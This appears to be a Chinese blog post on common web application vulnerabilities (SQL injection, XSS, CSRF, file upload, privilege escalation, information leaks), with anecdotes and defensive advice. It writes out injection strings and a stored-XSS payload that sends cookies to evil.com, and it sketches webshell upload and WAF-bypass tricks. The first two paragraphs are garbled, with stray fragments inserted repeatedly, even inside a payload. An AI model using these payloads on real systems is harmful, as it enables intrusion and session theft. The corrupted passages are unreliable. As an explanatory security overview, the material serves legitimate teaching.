web应用常见漏洞有哪些

去年帮一个朋友看他的电商后台，登录框里输入 ' or 见漏1=1 --，直接进了管理员页面。应用常他脸都白了。见漏这种事每天都在发生，应用常只不过大多数没被公开。见漏web漏洞没那么神秘，应用常翻来覆去就是见漏那几个老面孔，但杀伤力一点没减。应用常

SQL注入排第一没人反对。见漏原理简单到可笑：用户输入被当成代码执行了。应用常比如查询 SELECT * FROM users WHERE name = '$name'，见漏你输入 admin' --，应用常密码验证直接绕过。见漏更狠的应用常用 UNION SELECT 把整个库拖出来。我见过一个政府网站，注入点藏在某个不起眼的 id= 参数里，用 sqlmap 跑了十分钟，数据库版本、表名、管理员密码全出来了。防御也简单——参数化查询，别拼字符串。但总有人偷懒。

跨站脚本（XSS）是另一个常客。分存储型、反射型、DOM型，本质都是把恶意脚本塞进页面让别的用户执行。有个论坛的评论区没过滤 <script> 标签，有人发了条评论：<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>。所有看过那条评论的人，cookie 全被偷走。存储型 XSS 最阴险，因为 payload 躺在数据库里，每个访问者都中招。反射型需要诱导点击，DOM 型更隐蔽，完全在浏览器端发生。防御要输出编码，别用 innerHTML 乱插内容。

跨站请求伪造（CSRF）经常被低估。攻击者诱导你点击一个链接，你的浏览器带着 cookie 去请求银行转账接口。银行以为是你本人操作。防御用 CSRF token 或者检查 Referer，但很多老系统压根没做。我试过一个路由器管理界面，改 Wi-Fi 密码的请求没有任何 token，构造一个表单自动提交就能改掉。用户只要访问恶意页面，密码就被改了。

文件上传漏洞，说到底是信任了用户提供的文件。上传个 .php 木马，如果服务器没限制扩展名，直接 getshell。更隐蔽的是 .htaccess 或者 .user.ini 配合图片马。有个 CMS 允许上传 .jpg，但检查的是 Content-Type，改包成 image/jpeg 就能传 .php。还有解析漏洞，比如 shell.php.jpg 在某些 Apache 配置下被当成 PHP 执行。防御要白名单扩展名，重命名文件，存到非 web 目录。

越权访问分水平越权和垂直越权。水平越权：改一下 user_id=1001 成 1002，看到别人的订单。垂直越权：普通用户直接访问 /admin/deleteUser?id=5。很多 API 只在前端隐藏了按钮，后端根本没校验权限。我见过一个系统，普通用户抓包改 role=admin 就提权了。防御要在每个接口做权限判断，别信前端传的任何东西。

敏感信息泄露也常见。报错页面直接吐 SQL 语句、堆栈跟踪、数据库连接字符串。phpinfo() 没删，暴露服务器路径和配置。还有 .git 目录没清理，用 githack 直接下载源码。某次渗透，目标网站 /backup.zip 能直接下载，里面是整站源码和数据库密码。这种低级错误每年都有。

命令注入、SSRF、XXE、反序列化……名单还很长。但核心就一句话：永远不要信任用户的输入。所有漏洞归根结底都是因为把外部数据当成了可信代码或指令。写代码时多问一句“这个参数如果被恶意构造会怎样”，能挡掉八成问题。

别指望 WAF 能解决一切。WAF 绕过手法层出不穷，编码、分块、注释混淆。真正的安全得靠开发习惯——参数化查询、输出编码、最小权限、输入验证。漏洞不会消失，但可以变得很难利用。